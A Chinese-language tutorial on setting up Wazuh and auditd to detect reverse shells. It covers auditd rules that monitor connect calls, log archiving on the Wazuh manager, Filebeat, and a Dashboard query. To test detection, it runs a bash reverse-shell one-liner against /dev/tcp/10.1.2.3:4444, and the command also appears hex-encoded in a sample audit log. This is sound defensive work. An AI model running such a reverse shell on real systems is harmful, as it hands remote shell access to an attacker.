Wazuh配置auditd日志
Agent端配置
注意事项
在我们找到最终方案之前,曾有过两次关键的失败,理解它们至关重要:
-
无效操作一:仅监控命令执行 (
execve
)- 原因:我们最初只配置
auditd
监控execve
系统调用。但反弹shell的核心>& /dev/tcp/...
是bash
的内置重定向功能,它不执行一个新程序,而是bash
进程自己直接调用了底层的connect
系统调用。因此,execve
规则根本“看”不到这个关键的网络连接动作。 - 结论:只监控
execve
,对于检测这类反弹shell是无效的。
- 原因:我们最初只配置
-
无效操作二:不正确的
auditd
规则加载方式- 原因:我们发现,即使修改了规则文件,
auditctl -l
显示的内核规则也一成不变。这是因为系统的augenrules
脚本加载失败或逻辑混乱,导致新规则无法生效,内核中残留着“幽灵规则”。 - 结论:简单地修改规则文件并重启
auditd
服务,在这种有冲突的环境下是无效的。
- 原因:我们发现,即使修改了规则文件,
在Agent端配置反弹Shell监控的完整有效流程
要在任何一台新的Linux Agent上成功部署监控,请严格执行以下三个步骤。
前提:安装审计工具
确保您的Agent上已安装auditd
。
# Debian/Ubuntu |
步骤一:配置一个强大且干净的auditd
规则集
这是最核心的一步,我们确保auditd
不仅监控命令执行,更要监控关键的网络连接。
-
彻底清理旧的、可能冲突的规则文件,为我们的新规则扫清道路。
# 备份并移除可能造成干扰的主规则文件
sudo mv /etc/audit/audit.rules /etc/audit/audit.rules.bak_$(date +%F)
# 清空规则目录下的所有.rules文件
sudo rm -f /etc/audit/rules.d/*.rules -
创建我们唯一的、权威的规则文件。
sudo vim /etc/audit/rules.d/10-wazuh-monitoring.rules
-
将下面最终被验证为完全有效的规则内容,完整地粘贴到文件中:
## First, delete all existing rules to ensure a clean slate.
-D
## Increase buffer size for busy systems.
-b 8192
## Set failure mode to log to syslog.
-f 1
## Rule 1: Monitor all command executions for context and forensics.
-a always,exit -F arch=b64 -S execve -k wazuh_exec
-a always,exit -F arch=b32 -S execve -k wazuh_exec
## Rule 2: Monitor network connection attempts. THIS IS THE KEY to catching reverse shells.
-a always,exit -F arch=b64 -S connect -k wazuh_connect
-a always,exit -F arch=b32 -S connect -k wazuh_connect
## Make the configuration immutable until the next reboot.
-e 2保存并关闭文件。
步骤二:用“直接加载”的方式应用规则并重启服务
这个方法绕过了所有不可靠的脚本,确保规则被正确应用。
-
停止
auditd
服务,为手动操作做准备。sudo systemctl stop auditd
- 注意:像 CentOS、RHEL、Rocky Linux、AlmaLinux 这类以服务器稳定性和安全性著称的发行版,默认就会为
auditd
开启这个RefuseManualStop=yes
,这样加载的话就只能使用augenrules --load
。像下面的的这些命令就没办法执行了
- 注意:像 CentOS、RHEL、Rocky Linux、AlmaLinux 这类以服务器稳定性和安全性著称的发行版,默认就会为
-
手动清空内核中所有残留的“幽灵规则”。
sudo auditctl -D
-
直接将我们创建的规则文件加载到内核。
sudo auditctl -R /etc/audit/rules.d/10-wazuh-monitoring.rules
-
验证规则是否已正确加载。
sudo auditctl -l
您应该能看到输出内容与您
10-wazuh-monitoring.rules
文件中的内容完全一致,非常干净。 -
在正确状态下启动
auditd
服务。sudo systemctl start auditd
-
日志文件位置
/var/log/audit/audit.log
步骤三:配置Wazuh Agent以正确解析auditd
日志
最后一步,我们告诉Wazuh Agent如何处理这些高质量的日志。
-
编辑Wazuh Agent的配置文件。
sudo vim /var/ossec/etc/ossec.conf
-
添加或确保存在以下配置块。这告诉Agent去读取
audit.log
,并给这些日志打上“这是audit日志”的标签。<!-- Log analysis -->
<!-- 在上面这个标签下面添加 -->
<localfile>
<location>/var/log/audit/audit.log</location>
<log_format>audit</log_format>
</localfile>关键点:
<log_format>audit</log_format>
这一行是灵魂,它保证了Wazuh Manager能用正确的解码器解析这些日志,从而生成所有data.audit.*
字段。 -
保存文件并重启Wazuh Agent服务。
sudo systemctl restart wazuh-agent
Manager端配置
注意事项
- 无效操作一:日志归档未开启或未被读取
- 原因:我们最初在
Discover
中看不到任何auditd
日志。这是因为Wazuh服务端的数据管道存在“堵点”。要么是Wazuh Manager
没有配置为保存所有日志(归档),要么是Filebeat
没有配置为读取这些归档日志并发送给数据库。
- 原因:我们最初在
- 无效操作二:使用了错误的字段名
- 原因:我们最初的规则使用了
audit.command
这样的字段名。但最终通过Discover
观察发现,在4.10以后Wazuh版本中,正确的字段名是data.audit.command
。
- 原因:我们最初的规则使用了
- 无效操作三:告警规则的逻辑不精确
- 原因:我们最初的规则依赖于监控
execve
事件。但我们最终发现,对于反弹shell,execve
事件无法提供关键的网络连接细节。真正的“罪证”在connect
事件中。
- 原因:我们最初的规则依赖于监控
步骤一:开启“全息录像”功能(日志归档与可见性)
此步骤确保所有从Agent上报的原始日志都能被服务端记录并可在Discover
中查看,是所有后续分析的基础。
-
配置Wazuh Manager保存所有日志:
- 通过SSH登录到您的 Wazuh Manager/Server。
- 使用编辑器打开配置文件:
sudo vim /var/ossec/etc/ossec.conf
- 在全局配置中,找到或添加
<logall_json>yes</logall_json>
这一行,确保它没有被注释。这会开启JSON格式的日志归档功能。<global>
<jsonout_output>yes</jsonout_output>
<alerts_log>yes</alerts_log>
<logall>yes</logall> <!-- 这里 -->
<logall_json>yes</logall_json> <!-- 这里 -->
<email_notification>no</email_notification>
<smtp_server>smtp.example.wazuh.com</smtp_server>
<email_from>wazuh@example.wazuh.com</email_from>
<email_to>recipient@example.wazuh.com</email_to>
<email_maxperhour>12</email_maxperhour>
<email_log_source>alerts.log</email_log_source>
<agents_disconnection_time>10m</agents_disconnection_time>
<agents_disconnection_alert_time>0</agents_disconnection_alert_time>
<update_check>yes</update_check>
</global>
-
配置Filebeat读取并发送归档日志:
- Filebeat是负责将Manager生成的日志文件“搬运”到数据库的“搬运工”。
- 编辑Filebeat的配置文件:
sudo vim /etc/filebeat/filebeat.yml
- 找到
filebeat.modules:
下的Wazuh模块,确保archives:
部分被启用 (enabled: true
)。filebeat.modules:
- module: wazuh
alerts:
enabled: true
archives:
enabled: true # 确保这里是 true,这是开启归档日志搬运的开关
-
重启服务以使配置生效:
-
对配置文件的修改需要重启相应服务。
sudo systemctl restart wazuh-manager
sudo systemctl restart filebeat
-
-
在Wazuh Dashboard中创建归档索引模式:
-
这是为了让Dashboard知道去哪里查找我们刚刚开启的归档日志。
-
直接在浏览器中打开以下链接,将
<your_wazuh_dashboard_ip>
替换为您的Dashboard的IP或域名:https://<your_wazuh_dashboard_ip>/app/management/opensearch-dashboards/indexPatterns
-
创建索引模式:
- 点击 Create index pattern。
- 在输入框中准确输入
wazuh-archives-*
。 - 系统提示匹配成功后,点击下一步。
- 在 “Time field” 下拉菜单中,选择
@timestamp
。 - 点击 Create index pattern 完成创建。
-
步骤二:验证规则是否收集
-
触发模拟攻击:
-
在Agent端执行反弹shell命令:
bash -c 'bash -i >& /dev/tcp/10.1.2.3/4444 0>&1'
-
-
验证层面一:在
Discover
中确认原始日志已收集(威胁狩猎)-
目的:确认我们增强后的日志(特别是
connect
事件)已经成功抵达数据库,并可以被搜索到。 -
操作:
a. 登录Wazuh Dashboard,导航到 Discover。
b. 在左上角的索引模式下拉菜单中,选择我们之前创建的wazuh-archives-*
。
c. 在右上角的时间选择器中,选择一个包含刚才操作的时间范围,例如 “Last 5 minutes”。
d. 在顶部的KQL搜索栏中,输入我们用于定位connect
事件的精确查询:data.audit.key: "wazuh_connect" and data.audit.command: "bash"
即可查询到相关告警
-
full_log字段原始的日志:
type=SYSCALL msg=audit(1750850486.282:5968): arch=c000003e syscall=42 success=no exit=-111 a0=3 a1=5954159c7630 a2=10 a3=1 items=0 ppid=11761 pid=11762 auid=1000 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=pts1 ses=3 comm="bash" exe="/usr/bin/bash" subj=unconfined key="wazuh_connect" ARCH=x86_64 SYSCALL=connect AUID="ascotbe" UID="root" GID="root" EUID="root" SUID="root" FSUID="root" EGID="root" SGID="root" FSGID="root" type=SOCKADDR msg=audit(1750850486.282:5968): saddr=0200115C0A0102030000000000000000SADDR={ saddr_fam=inet laddr=10.1.2.3 lport=4444 } type=PROCTITLE msg=audit(1750850486.282:5968): proctitle=62617368002D630062617368202D69203E26202F6465762F7463702F31302E312E322E332F3434343420303E2631
其中
62617368002D630062617368202D69203E26202F6465762F7463702F31302E312E322E332F3434343420303E2631
这段就是命令的十六进制(Hexadecimal)编码。auditd
为了安全地记录下可能包含各种特殊字符的命令行参数,会把它们转换成这种格式。-
对编码进行反向转换:
echo '62617368002D630062617368202D69203E26202F6465762F7463702F31302E312E322E332F3434343420303E2631' > hex.txt
xxd -r -p hex.txt
-
-
步骤三:编写规则
sudo systemctl restart wazuh-manager |